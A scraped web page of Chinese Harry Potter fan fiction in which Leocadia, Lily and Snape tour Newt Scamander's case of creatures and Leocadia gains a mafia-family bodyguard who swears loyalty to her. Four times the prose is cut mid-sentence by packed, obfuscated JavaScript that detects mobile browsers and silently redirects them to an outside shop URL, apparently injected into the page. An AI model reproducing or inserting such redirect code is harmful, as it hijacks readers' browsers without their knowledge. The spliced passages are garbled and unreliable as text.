斯内普苦大仇深地咬着那颗莱奥卡蒂亚塞进他嘴里的,甜度超标的硬糖,在犹豫要不要吐掉:“没,我就去过一次,买……的那一次。” 莱奥卡蒂亚背着手想了想:“我也就去过那一次,还有一次也是跟海格去的。阿不思说我一个人去太危险了,没有大人陪着他不放心。” “听邓布利多的准没错。” 走在前面的半巨人尽量压低声音跟他们说话,可他的音量也跟雷声一样轰轰作响:“对角巷旁边就是翻倒巷,那可不是个好地方,像你们这种年纪的小巫师误入可是件不得了的坏事。” 莉莉对这种话题不感兴趣,她惊讶于海格种的巨大南瓜,海格很自豪的样子,说等她离开之前送她一个。 而莱奥卡蒂亚和斯内普不动声色地交换一个眼神,确认了彼此对翻倒巷很感兴趣。 但也不能明知故犯,而且就如海格所言,那里可不是什么好地方,弗雷德里克经常要求他们练习“对角巷”的读音,生怕一个不小心他们就去了翻倒巷。 于是他们分开目光,莱奥卡蒂亚挽着莉莉和海格说话,斯内普悄悄把糖咬碎咽下,尽快结束了嘴里的甜味苦恼。 在海格的小屋前,站着一个刚刚才见过的人,提着一个从不离身的手提箱。 海格惊讶:“斯卡曼德先生?我以为你还在校长室?” 纽特转过头,视线绕过海格,落在莱奥卡蒂亚的身上,又迅速滑向大地:“尤金妮娜·詹肯斯——现任魔法部长来找邓布利多,我就出来透透气。” 拒绝办公室,拒绝。 “哦,对了海格,麦格教授找你,说有一批要义务劳动的学生要交给你处理。” “哦,对,格兰芬多的。那好吧,斯卡曼德先生,请你照顾一下莱奥他们,我很快就回来。” 海格步履匆匆地离开了。 纽特放松了一点。 还好没听邓布利多的留校任教邀请,不然现在忙的就是我了。 莱奥卡蒂亚听着他如释重负的心声,偷偷笑了一下,主动跑过去,背着手围着他的手提箱看:“啊,这个箱子,是传说中的‘那个’箱子。” 那个摆了老鹦鹉一道的箱子! 这才是真正的圣器啊! 纽特忍不住看向她的发顶:“呃,他还会给你说这个?” 莱奥卡蒂亚皱着脸:“当然不会。” 她是在托奎尔记忆里看到的,当然,那家伙的记忆……恶,像几十年没洗的臭袜子。 纽特也没纠结这个:“想进去看看吗?” 莱奥卡蒂亚嚯地抬眼看过来,但很小心地避开他的眼睛:“可以吗?!莉莉和西弗也能去吗?!” 纽特的回答是把箱子放在地上,打开锁。 箱子动了一下,一团黑漆漆毛绒绒的小东西窜了出来,扒拉在纽特的头上唧唧乱叫,仿佛受了天大的委屈。 莱奥卡蒂亚:“哇!” 出现了!传说中偷了“那个”血盟的神奇生物! 莉莉:“哇!嗅嗅!” 好可爱好可爱!好想捏捏! 斯内普:…… 还是有点可爱的。但嗅嗅身上好像没有能入药的。 可惜了。 两只在纽特眼里可爱得各有千秋的小萝莉蹲在他面前连连惊叹。 让他想起了自己的女儿和孙女小时候。 纽特眼神柔和地把嗅嗅摘下来:“这是玛丽,我在训练她克制自己的本能,珀尔想带她去学校,我很担心她把珀尔的同学惹恼了。” 莉莉回忆着嗅嗅的习性,但很偏心地为可爱的小嗅嗅说好话:“我觉得没人会责怪这样一只小可爱。” 莱奥卡蒂亚、纽特:……嗯,也许得除了格林德沃。 两人的心声诡异重合在一起。 莱奥卡蒂亚转移话题:“纽特,你的箱子里有火龙吗?” 纽特僵住,悄悄伸手按住箱子:“没有。” 莱奥卡蒂亚了然:“威尔士绿龙?好的,让我看看。” 纽特把箱子按得更紧了:“没有那种可爱的……不许读我的记忆。” 莉莉觉得一来就看火龙这种强度的神奇生物有点超纲了:“斯卡曼德先生,我们可以看一看温和一点的神奇生物吗?” 莱奥卡蒂亚顺势看向他的头顶。 纽特松了口气,把头上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299292|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗅嗅塞给她。 玩这个,这个好,可爱。 莱奥卡蒂亚就跟莉莉嘻嘻笑着,捧着不知道为什么突然乖巧的小嗅嗅给斯内普看。 斯内普僵硬地跟嗅嗅大眼瞪小眼,在莱奥卡蒂亚的威胁下伸出一根手指,轻轻摸了一把。 嗅嗅看了看全身黑漆漆的斯内普,不屑地扭头,最后在莱奥卡蒂亚头上悠然趴下,抱着她的头发不松手。 莉莉趁机轻轻摸它的背毛:“玛丽?” 嗅嗅:“唧?” 可爱歪头.jpg “莱奥,你家里可以养嗅嗅吗?”莉莉自己肯定是不能养的,“嗅嗅可以家养吗?拜托,如果能养请一定要养一只。” “嗅嗅是三级的魔法生物,至少得掌握速速禁锢才能养,显然我会,但我担心它们会把我的首饰盒偷光。”莱奥卡蒂亚rua着手感极佳的嗅嗅,疑惑,“它这是把我的头发当金子了吗?” 纽特把躁动的护树罗锅也摘下来,放到莱奥卡蒂亚身边。 护树罗锅朝莱奥卡蒂亚划拉四肢,一副游也要游到她身边的样子。 纽特被它逗笑了:“这是皮克特,我第一次见它对除了我以外的人这么亲近。来,拿着它。” 莱奥卡蒂亚一手按着嗅嗅,一手伸过来。 护树罗锅努力收起尖尖细细的爪子,温驯地用头上的两片叶子蹭她。 纽特目不转睛地盯着护树罗锅,替妻子控诉:“皮克特,你对蒂娜都没有这么热情。” 莱奥卡蒂亚幽幽:“也许是因为我小的时候很想开动物园,为此还考虑过学兽医专业呢。” 谁能不喜欢心思单纯的可爱神奇动物们? 啊,那还得是格林德沃。 纽特想起邓布利多的揣测,指指耳朵:“你能听到他们的心声吗?或者,感知到他们的情绪?” 莱奥卡蒂亚把护树罗锅也放在头顶上:“能啊,你应该也能吧?” 本世纪最传奇的神奇动物专家摇头:“这不一样……好吧,我带你们进去看看。” 莱奥卡蒂亚看向他的手提箱。 “事先说明,无论看见什么,都不能告诉邓布利多。”纽特叹气,“我可不想被他说教。” 莱奥卡蒂亚和莉莉猛猛点头:“不说不说!” 25. 25 邓布利多有说过,纽特的无痕伸展咒比他还要厉害。 莱奥卡蒂亚顶着嗅嗅和护树罗锅,觉得此言不虚。 没见过世面的三只学龄前儿童很乖,从梯子上下来就没乱跑,小鸭子一样跟在纽特身后,对小房间外传来的各种神奇生物叫声好奇又激动。 纽特熟练地从各个角落里翻出三只小铅桶,在里面装上一些碎肉,一人发一只,轻声嘱咐:“我会带你们看一些相对温和的神奇生物,只要跟着我,他们就不会攻击你们。不会带你们去看龙的,莱奥小姐。” 莱奥卡蒂亚无辜地收回看向传出龙吟的方向的眼睛:“我只是看看。” 纽特觉得她这幅神情很眼熟。 很像他又放危险生物进手提箱,却被蒂娜发现的表情。 无辜,但下次还敢。 看来邓布利多以后有得头疼了。 纽特诡异的心情大好,没再多说什么,拎起自己的铅桶在前面开路。 他们在鸟蛇窝边捡起银质的蛋壳,刚破壳的小鸟蛇们冲着莱奥卡蒂亚大叫,而鸟蛇妈妈就缠在她脖子上。 莱奥卡蒂亚虚心提问:“这正常吗?” 纽特:“我觉得不正常就是一种正常,她喜欢你。” “可是很重。” “那你忍忍吧。” 莱奥卡蒂亚在莉莉和斯内普的窃笑中废了好大劲才把鸟蛇妈妈摘下来,放进窝里,还顺手薅了两根毛给斯内普。 “我知道带孩子很痛苦,你忍忍吧,伟大的母亲。”莱奥卡蒂亚用纽特的话来教育明显还想飞过来的鸟蛇,举起桶挡在面前。 路过一颗金合欢木时,皮克特叫了两声,一群护树罗锅从叶片中探出头,乌泱泱地跳到莱奥卡蒂亚身上。 “回去,都回去。皮克特,不许欺负小朋友,”纽特捏起她头顶那只,又把一只只护树罗锅抓回树上,“就算她的魔杖是金合欢木的也不准偷拿。” 皮克特垂下叶片。 “没关系,”莱奥卡蒂亚把魔杖拿出来给皮克特,“拿了我就换个新的。” 魔杖发出心碎的声音,唱了首Broken Heart。 纽特严肃告诫跃跃欲试的皮克特:“不可以。” 接下来是有着大眼睛的月痴兽。 它们漂浮起小肉球,一口一个,还凑在莱奥卡蒂亚身边,用眼睛询问她为什么不吃?是不想吃吗?要不要让铲屎官给你换个别的口味的肉球? 莱奥卡蒂亚连连摆手:“不了谢谢,我不吃生肉。” 月痴兽们的眼神愈发怜悯:哦,可怜的消化不良的幼崽,那让铲屎官给你喂奶吧,他可温柔了。 莱奥卡蒂亚扭头控诉:“什么,还能给他们喂奶?!我要喂!” 纽特只好沉默着抓出几头幼年期的月痴兽,给三个小孩儿一人发了个奶瓶。 莉莉:“真的不能养吗?” 莱奥卡蒂亚:“emmm,虽然是2级的,但如果你姐姐随时站在我们两家的墙边偷看的话,应该不行。” 莉莉鼓起脸,又泄气:“佩妮,唉。” 斯内普看着绕着他走的幼崽们,第一次觉得自己的动物缘不好。 奇怪,明明莱奥卡蒂亚的两条狗和她的猫头鹰都不抗拒他的接触。 莱奥卡蒂亚把他拽下来蹲着,握住他的手,朝一头幼崽伸过去。 幼崽犹豫了一下,还是给莱奥卡蒂亚一点面子,凑过来喝了两口。 莱奥卡蒂亚趁机带着他摸了一把幼崽。 幼崽瞬间炸毛,冲进莱奥卡蒂亚怀里,让她猝不及防摔了个屁股墩。 “哈哈哈哈哈哈!”莱奥卡蒂亚揉着手感极佳的幼崽大笑,“西弗你真的很没有神奇动物缘欸!肯定是因为你的魔药天赋!” 斯内普气鼓鼓地把她拉起来:“可是你的狗还是很喜欢我的。” 莱奥卡蒂亚反手拍拍他的手:“你没发现他们也很喜欢佩妮吗?只要我要求他们友善的对象,他们都会喜欢。” 斯内普不说话了,被打击到自闭。 莉莉凑过来抚摸着莱奥卡蒂亚怀里的月痴兽幼崽:“它们好像都很喜欢你。” 莱奥卡蒂亚乐观地嘿嘿嘿:“这说明我有一颗善良而纯洁的心?” 纽特欲言又止。 斯内普冷哼:“你哪里纯洁了?我看见你塞在公共书房抽屉里的……” 莱奥卡蒂亚指他:“多嘴!” 斯内普:“亨利·米勒*的——” “Petrificus Totalus!(统统石化)” 斯内普早有预料的闪身躲开,结果魔咒在打到他身上的前一秒就消失了。 莱奥卡蒂亚吹吹指尖:“哼哼,这次用的是有声咒,下次无声咒绝对一击必中。” 纽特决定保持沉默。 岩石后传来哒哒的蹄声。 月痴兽们一哄而散,朝着蹄声跑去。 一匹流转着月华的独角兽优雅地走在月痴兽们的包围圈里,不算高大,还毛发还带着浅浅的金,但它有着天地都为之静默的神性和美丽。 嗯,以及右后腿有点瘸,难怪走得慢。 莱奥卡蒂亚一下子就找出了它身上的伤,并判断:“是枪伤?” 纽特点头:“对,我在黑市上发现她的,还是亚成年的小女孩。”他拿出一罐伤药,小心地靠近,“好孩子,好女孩,我来给你上药,好不好?” 莉莉已经看呆了,不过脑子的喃喃:“莱奥,这个……” “这个真的不可以,”莱奥卡蒂亚拍拍小姑娘的发顶,“我不是很想因为非法饲养独角兽进阿兹卡班。” 斯内普挪到她身边蹲下:“独角兽的药用价值……” “好了,你也住口。” 莱奥卡蒂亚掐他脸:“难怪你不讨神奇动物喜欢,禁止在和他们相处的时候满脑子想他们的药用价值,他们看得出来你的想法。” 斯内普被她扯得口齿不清:“就跟你一样?” “我就当你是在夸我了。” 三个小孩儿蹲在一起低声嘀咕,纽特给独角兽上完药,慢慢退回来。 独角兽却抬起金银交融的睫毛,走向莱奥卡蒂亚。 莉莉激动地快昏过去了:“莱奥莱奥莱奥!它走过来了!” 莱奥卡蒂亚则是一点点往后挪,明显在听独角兽的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299293|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“不可以,我也是雌性……唉不是!我是人!不可以!停下!” 独角兽嘶鸣一声,竟然能从中听出浓浓的悲伤。 随后,她晃动头上的独角。 纽特震惊:“她、这是在求偶?!” 莱奥卡蒂亚冷汗都冒出来了:“是,她说……我不可以!我没有那种嗜好!纽特你管管她啊!” 纽特什么都不管了,两步跑过来,抱住独角兽的脖颈:“好了,好了,莱奥不喜欢你,冷静一点,好吗?” 独角兽被拒绝也不生气,只是顺着纽特的力道停在原地,哀伤地看着莱奥卡蒂亚。 莱奥卡蒂亚也冷静了一点:“纽特,她说你的药膏很臭,让我都不喜欢她……我哪敢啊,我喜欢你,但不是那种喜欢。” 独角兽长鸣一声。看起来很想把纽特甩开。 这回连纽特都被气笑了:“什么叫都是我的错?卢妮,人和独角兽是不可能的,我也不可能让莱奥养你。” 独角兽甩甩头,愤愤喷气。 “摸一下?”纽特迟疑看向莱奥卡蒂亚,“卢妮让你摸摸她?” 莱奥卡蒂亚松了口气:“这个可以,我在家也摸过马。” 她吹出一声清脆的呼哨。 独角兽欢快地蹦跶两下,纽特松开她,月光一样华美的生物围着三个小孩转几圈,最后把大脑袋贴在莱奥卡蒂亚怀里拱来拱去。 莱奥卡蒂亚顺着她的脸摸到脖颈,用力搓搓她的耳朵,艰难地邀请莉莉:“她应该不会拒绝你,莉莉,要不要摸一摸?” 莉莉颤抖着指指自己:“我、我可以吗?” “可以,她不会拒绝小女孩。”莱奥卡蒂亚转头看已经呆了的斯内普,“你还是别摸了,我怕她给你一蹄子。” 斯内普:……不摸就不摸。哼。 莉莉欢呼一声,扑过来学着莱奥卡蒂亚的动作摸摸这匹独角兽:“你叫卢妮?你好卢妮,我是莉莉,你真漂亮呀!” 独角兽分了个眼神给莉莉,觉得这小姑娘也挺上道。 莱奥卡蒂亚被蹭得脑袋疼,用力把她推开:“好了好了,去,回去吧,你腿还疼呢,别再站着了。” 独角兽忧郁叹气,走回纽特身边,微微甩甩尾巴,把这个铲屎官也蹭一下,慢慢悠悠地走回自己的领地。 莱奥卡蒂亚闻闻自己:“……嗯,一股马味。” 莉莉从她头发上摘下来几根长长的、闪烁着银光的鬃毛,缠起来放进莱奥卡蒂亚的口袋:“我觉得你应该跟斯卡曼德先生一样成为神奇动物专家。” 莱奥卡蒂亚十动然拒:“不可能的,除非萨卢佐家破产。” 纽特用魔杖点点莱奥卡蒂亚,她被蹭成鸡窝的头发瞬间柔顺:“很抱歉,卢妮只是太喜欢你了。” 莱奥卡蒂亚解下手腕上的丝带,把头发高高绑起来:“她应该是还没真正成年就被抓住了吧?还是赶紧让她回到族群里,再这样下去我觉得她会产生人类也能成为伴侣的错觉。” 纽特面色古怪地一笑:“我来霍格沃茨就是为了把她安置在禁林里。说不定以后你们能天天见面。” 莱奥卡蒂亚嘴角抽搐:“别了,谢谢。” 26. 26 纽特原本想送一只嗅嗅或者护树罗锅给莱奥卡蒂亚,但被她严词拒绝了。 “还是等我上学了再说吧。” 莱奥卡蒂亚并不觉得在满街家庭主妇的注视下养神奇生物是件好事。 除非她给自己家用混淆咒。但玛利亚和来找她的下属们又是普通人,这就很难办。 纽特就没有多说什么,只是告诉她自己近期会经常来霍格沃茨,有时间可以一起玩。 莱奥卡蒂亚自动把他的“玩”替换成了“去禁林”。 纽特:请问你是怎么得出这个结论的? 由于校长室里有人,纽特只能带着孩子们去霍格莫德借壁炉。 莉莉和斯内普先后消失在火焰里,莱奥卡蒂亚鬼鬼祟祟地比了个手势:“就给我看,行不行?” 纽特没有妥协:“不可以,阿不思会骂我的。” “他才不会骂他最喜欢的学生。天知地知你知我知,我又不会告诉他。”莱奥卡蒂亚,双手合十,轻轻摇晃,“远远地看一眼,就一眼!” 纽特望天,把她往壁炉轻轻一推:“可以给你看皮克特。快回家。” 莱奥卡蒂亚幽怨叹气,抓起飞路粉:“下次请你到我家来玩,虽然我家没有神奇生物,但有两条狗和一只猫头鹰。” 纽特笑了下,拿出一卷银色的线放进她的外套口袋:“我攒了不少,阿不思说你在学着给自己做魔杖?这个可以做杖芯。” 莱奥卡蒂亚给他一个wink:“Grazie, tesoro~(谢谢你,甜心)” 在纽特放皮克特咬她之前,莱奥卡蒂亚大笑着冲进壁炉。 只可惜世界上有一个词,叫乐极生悲。 “克伦威尔女士?”莱奥卡蒂亚抱着莉莉不撒手,痛苦地闭上眼睛,“我一定是在做梦,玛利亚,请告诉我这不是真的,克伦威尔女士不是保护祖父安全的吗?” 玛利亚也紧张地搓着双手:“我怎么会拿这种事开玩笑?小姐,真的是家主的意思,专机两天后就到。” 莱奥卡蒂亚虚弱地嘤嘤嘤:“Perché Dio non mi benedice?(上帝为什么不保佑我?)为什么我不是明天就去霍格沃茨上学……” 莉莉好奇地问:“什么?你家是要来一位‘克伦威尔女士’吗?” 莱奥卡蒂亚沉重点头:“是的,你可以认为她是我祖父身边最得力的助手和保镖,非常、非常可怕。” 如果说莱奥卡蒂亚是萨卢佐家新生的恐惧,莱昂纳多·萨卢佐是意大利的无冕之王,那克伦威尔就是盘踞在整个里世界的阴影。 莱奥卡蒂亚连祖父都不怕,就怕克伦威尔女士,哪怕这位女士给莱奥卡蒂亚唱过生日歌! 救命啊,谁家好人能把生日歌唱出死神索命歌的效果啊?! ……好吧,其实也不算非常怕,莱奥卡蒂亚最怕的还是各种各样的药。 斯内普却很期待,太好了,总算有人能管管莱奥卡蒂亚越来越放飞的性子了。 然而悲惨的事实证明,连莱奥卡蒂亚都怕的人,没道理斯内普不害怕。 “Spero che lei sia in buona salute, signorina Saluzzo.(希望您身体安康,萨卢佐小姐)” 斯内普坐在沙发上,僵成一团,视线直直投向地毯,耳边是莱奥卡蒂亚故作镇定的问好:“Spero che anche lei sia in buona salute, signora Cromwell.(希望您也身体健康,克伦威尔女士)” 斯内普不知道如何形容这样一位……女士。因为见到她的第一眼,他就觉得自己的灵魂都被冻住了,仿佛不在下一秒移开眼睛灵魂就会被无形的寒风割伤。 身形高大,体态修长,比一些男人更能撑起深沉严肃的黑色西装。 身上除了一枚银怀表两颗铜袖扣外,没有用任何首饰妆点。 垂到脚踝的立领长风衣没入长毛地毯,如同流入雪地的暗影。 她站在那,就是一把没出鞘的利刃。 相信艾琳也是一样的感觉,斯内普不得不微微侧身,盖住艾琳放在身体两侧的冰凉的手,虽然他的手也暖和不到哪去,却也给了艾琳一点勇气,她反手握住斯内普的手,轻轻捏了捏。 “这个箱子里是家主给您的东西,”那位女士低沉冷然的声音念着英语,流畅如大提琴曲,“有些重,稍后我会直接为您送进房间。” 莱奥卡蒂亚干巴巴地“哦”了一声,然后侧身介绍:“克伦威尔女士,这是艾琳夫人和西弗勒斯·斯内普,我的药剂师和朋友。夫人,西弗,这是克伦威尔女士,祖父的……” “现在我是您的管家和保镖,家主已经将我的归属权交给您。” 莱奥卡蒂亚木然重复:“哦,女士是我的……欸?!” 她震惊到抬头直视那双铁灰色的眼睛:“真的?!不是,我是说……可是祖父那边怎么办?” 不知道是不是斯内普的错觉,他仿佛听到一声虚幻的轻笑:“家主身边还有护卫队,您不用担心。” 莱奥卡蒂亚吭哧几下,还是什么都没说,只是扭捏着站起来:“一楼的客房还剩两间,但一间朝向不好,一间要给偶尔过来的朋友留着……所以,您能和我一起住在二楼吗?” “我把会客室重新装修了一下,二楼左半边被我改成了两间套房。其实原本我也用不上那么大的会客室……”她垂着头,背着手,像做错事的孩子一样把脚尖藏在身后碾地毯,最后破罐子破摔,“就这么说好了,您和我一起住二楼。” 这幅糟糕的仪态如果让别的管家看到绝对免不了一顿唠叨,但克伦威尔女士什么都没有说。 她只是后退一步,无声地请莱奥卡蒂亚带路。 莱奥卡蒂亚同手同脚地走在前面,克伦威尔只在路过艾琳和玛利亚的时候微微颔首,然后一言不发地跟在莱奥卡蒂亚半步之后。 也许是克伦威尔的安静让莱奥卡蒂亚放松了不少,她竟然下意识地说:“我给您选了蓝色的棉布四件套,老宅的佣人说您用不惯真丝。衣柜里的衣服也是老宅送来的,都是这个季度您在针线房定制的衣服。” 说完莱奥卡蒂亚就想咬自己的舌头。 佣人还说克伦威尔女士送进洗衣房的服装和床上用品都是黑的呢!你干嘛擅自做主给她选蓝色的东西啊?! 没想到克伦威尔只是平静地道谢。 莱奥卡蒂亚:……懂了,晚上她就会把四件套换成黑的。 呜呜。 莱奥卡蒂亚郁卒地反思,虽然只在英国待了两个月,但她的胆子似乎真的大了很多。 这片土地真的很适合灵魂的自由生长,难怪母亲在这里成长成了风一样的人。 更让她没想到的是,克伦威尔竟然主动搭话。 “您不需要对我用敬称。您在英国过得好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我、我我,”她语无伦次,“我听得见……对不起!女士,我不应该听的,只是您离我太近……哎呀有点热,您的房间里装了空调……我、我先下去了,祖父给我的东西我晚上再看!马上就到午餐时间了、不对,您、您,您慢慢收拾,我可以等着您!” 莱奥卡蒂亚语速飞快地说完,退后一大步,让克伦威尔从她面前进房间。 “我知道了。”克伦威尔对她的失态不置一词,“请稍等我一分钟,我把东西放下就和您一起下去。” 莱奥卡蒂亚喃喃细语:“好,好的。” 克伦威尔走过时,带起一阵冷风。 却像一只温柔的手,拂过她发顶。 也许只是过了几秒钟,克伦威尔就出来了,轻轻带上房门。 莱奥卡蒂亚一个激灵:“好了吗?那我们就下去吧。” “等等。” 克伦威尔叫住她。 莱奥卡蒂亚怔怔地看着克伦威尔半跪在她面前,摘下手套。 “手,小姐。”克伦威尔提醒。 “哦,哦。”莱奥卡蒂亚赶忙递出戴着铜戒指的右手。 克伦威尔吻在那枚戒指上。 “Ti offro la mia lealta'',Ti seguirò fino alla fine dei tempi.(我在此为您献上忠诚,我将追随您到时间的尽头)” “Se violerete questo giuramento, cadrete per sempre all''inferno.(若违此誓,永坠地狱)” 这是萨卢佐家族的宣誓词。 莱奥卡蒂亚见过无数人对祖父念诵,但这是她第一次真正的成为祖父的角色。 一种冲动,一种颤栗,随着誓词,从脊骨,蔓延全身。 “Ti accetto, fratelli miei, il mio branco di lupi.” 她轻声回应。 我接受你,我的手足,我的狼群 27. 27 斯内普有如芒刺在背,食不下咽,在餐桌下踢了莱奥卡蒂亚一脚。 莱奥卡蒂亚踢了回去,用眼神问他:干嘛?想打架吗? 斯内普:什么干什么,我问你,为什么克伦威尔女士要站在你后面? 莱奥卡蒂亚觉得不好用眼神来解释一大段话,干脆回头:“克伦威尔女士,您虽然是管家,但不用真的像管家一样在旁边等候,这里也不会有突然袭击,请坐下来吧。” 克伦威尔垂着眼:“感谢您的宽和,但我现在确实是您的管家。” 莱奥卡蒂亚想起刚才的事,一咬牙,伸手拉她的袖子,故意露出小心翼翼的表情:“可是,我想让您一起吃饭。不可以吗?” 克伦威尔:“……当然可以,我会做任何您需要我做的事。” 她坐到了僵硬的艾琳下首。 玛利亚想为她端来准备好的午餐,但克伦威尔摇头:“一杯黑咖啡,谢谢。” 莱奥卡蒂亚心不在焉地卷意大利面:“怎么了?您不想吃意大利面吗?” “我在飞机上吃过了。”克伦威尔简短回答,语调生硬,但莱奥卡蒂亚能听出她已经尽力温和一点了。 ……克伦威尔女士,蛮可爱的。莱奥卡蒂亚拖鞋里的脚指头蜷了起来。 斯内普不敢苟同,他只觉得斜对面的这位女士快要用余光把他切成八块。 事实证明,她也确实在盯着斯内普。 和莱奥卡蒂亚一起在花园里练习咒语时,在客厅里煮魔药时,在训练室里被莱奥卡蒂亚指导着如何把沙袋摔出去时…… 明明视野范围内根本捕捉不到克伦威尔女士的身影,但就是莫名有一股视线阴魂不散地缠着他,不带任何感情,只是……盯着他的一言一行? 斯内普冷汗都被看出来了。 他把沙袋扔出去,朝场下的莱奥卡蒂亚招招手,点点心口,在心里说:‘我感觉你的管家在盯着我。’ 莱奥卡蒂亚有些苦恼地抓抓脑袋:“嗯,你可以把这当做是克伦威尔女士的职业病?但按理说女士的观察不会让任何人感觉到……除非她在警告心怀不轨的客人。” ‘那她为什么这么防备我?我又不会对你做什么。’斯内普有些恼火,‘她对你的保护欲未免有些太强了吧?’ 莱奥卡蒂亚得意:“啊,真是让人脸红的说法,你可以认为我在女士眼里是个讨人喜欢的可爱小蛋糕,而她不忍心让我受到丁点儿伤害。” 斯内普用眼神和心声鄙夷她的自恋:‘够了,停止你恶心的自我感觉良好。’ 莱奥卡蒂亚撇嘴,四下张望:“克伦威尔女士?你在这里吗?” 在斯内普惊悚的目光里,克伦威尔就像从异空间里走出来一样,从莱奥卡蒂亚身后一片什么都没有的空气中出现:“您有什么吩咐?” 莱奥卡蒂亚见怪不怪,伸手一指僵硬的斯内普:“这个家伙真的是我朋友啦,您不用紧张,也不用随时跟着我,这里不是意大利,我很安全。” 克伦威尔垂眼:“是。” 在摄魂取念上再次进阶的莱奥卡蒂亚察觉到了她几不可闻的伤心。 好在效忠宣誓和摄魂取念撑起了她的狗胆,莱奥卡蒂亚转身趴跪在椅子上,抱住克伦威尔的腰用力在她胸口一蹭:“您可以去找艾琳夫人聊聊天或者出门转转,英国和意大利很不一样的。” 克伦威尔僵硬地环住莱奥卡蒂亚的肩膀,防止她掉下去。 “我没有觉得您打扰到我,”莱奥卡蒂亚笨拙地解释,“真的,我很高兴您能来英国,只是我希望您能放松一点儿。” 克伦威尔喉间泄出一个喑哑的“嗯”。 莱奥卡蒂亚傻乎乎一笑:“当然,您也可以指点指点我和西弗的动作。这把躺椅很大,您跟我坐在一起好不好?” 斯内普缓缓:? 不是,怎么个事儿? 莱奥卡蒂亚放开克伦威尔,拍拍躺椅的空地,等克伦威尔端正地坐下之后,她试探着枕在克伦威尔的膝盖上。 斯内普:啊? 你两天前不是还怕她怕得要命吗? 不出所料地,克伦威尔没有拒绝她,还脱掉风衣盖在她身上。 莱奥卡蒂亚看起来幸福地要飞起来了:“西弗,你也过来休息下吧。女士,你能不能说说西弗的动作哪里不对?我觉得怪怪的,但说不出来。” 斯内普:……我没有惹你。 但他还是抓着场地边的毛巾,一边擦汗一边挪着步子过来,变出张小板凳坐着喝补充体力的葡萄糖水。 克伦威尔语气平板地指点:“斯内普先生习惯于用手臂发力,而正常来说用腿部发力,以腰部为轴带动上半身肌肉,才能产生更大的力量。” 莱奥卡蒂亚小海豹鼓掌:“原来如此!” 没想到这位女士看上去不近人情,但还是蛮听莱奥的话的。 斯内普放松了一点:“好吧,我会改的。但我想也用不上更大的力量,学这个只是突发奇想。” “没错没错,我教西弗的只是基础的巴西柔术,只是担心他在学校里被欺负又不知道怎么还手,现在以学生的水平来说,西弗已经能打高年级了。” 莱奥卡蒂亚闲适地翻了个面,趴在克伦威尔的膝盖上:“西弗又不用训练成护卫队里那些保镖啦。” 克伦威尔不置可否,只是不再注视斯内普。 “哦对了女士,我还没见过你真正出手呢,”莱奥卡蒂亚一个鲤鱼打挺撑起来,“我好像只见过你刑讯。” “您想看什么程度?”克伦威尔并不拒绝。 莱奥卡蒂亚犯难了:“emmm,我也不知道。我只知道你的暗杀技巧是全球最强的,正面作战应该也不差吧。” 克伦威尔轻描淡写地点头。 “如果您想看,我就为您展示一下。” 莱奥卡蒂亚抓着身上的风衣正襟危坐,目不转睛地看着克伦威尔按了一下墙壁上的遥控器走上练习场地。 屋顶的机械臂缓缓降下一个特制的百斤级沙袋。 莱奥卡蒂亚悄悄给斯内普科普:“啊,这个和你练习用的不一样,这个里面填充的都是铁砂。” 她和斯内普用的那种沙袋的填充物都是塑料泡沫和碎布,不伤手。 斯内普半懂不懂地点头:“所以说这个更重。” 莱奥卡蒂亚做了个绝妙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299295|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比喻:“就相当于我摔你和我摔一头龙的区别。” 斯内普眼神陡然锐利:“你果然去看龙了,还不带我。” 我就说那么完整又新鲜的绿龙鳞片哪来的,原来真是你现场薅下来的。 莱奥卡蒂亚能说自己是因为克伦威尔女士要来的消息而焦虑到抱着纽特的腰假哭了半天才被允许看一眼相对温驯的威尔士绿龙吗? 不可能,绝对不可能。 那太逊了。 她装聋作哑,目光灼灼注视着已经脱下西装外套站在沙袋前的克伦威尔。 跟摔一次沙袋要热身五分钟的斯内普不通,没有保镖需要在动手前热身。 更别说是克伦威尔这样的……保镖。 她只是站在起码两米高的沙袋前,调整好半掌手套,侧头看了一下莱奥卡蒂亚。 下一秒。 她高挑的身影消失在原地。 砰砰—— 砰砰砰砰! 沙袋和机械臂被巨力一次次打出去,顺着天花板上的可变道滑轨极速奔向各个角落,又在即将装上转角的时候往反方向激射而出——那是克伦威尔在腾挪时预判出轨迹,踏着地板或墙面,出现在预判位置从容不迫地打出下一拳。 每一个能用肉眼捕捉到的动作都是极舒展、充满力量感的。 起跳、腾空、翻转—— 屈膝、飞踢、出拳—— 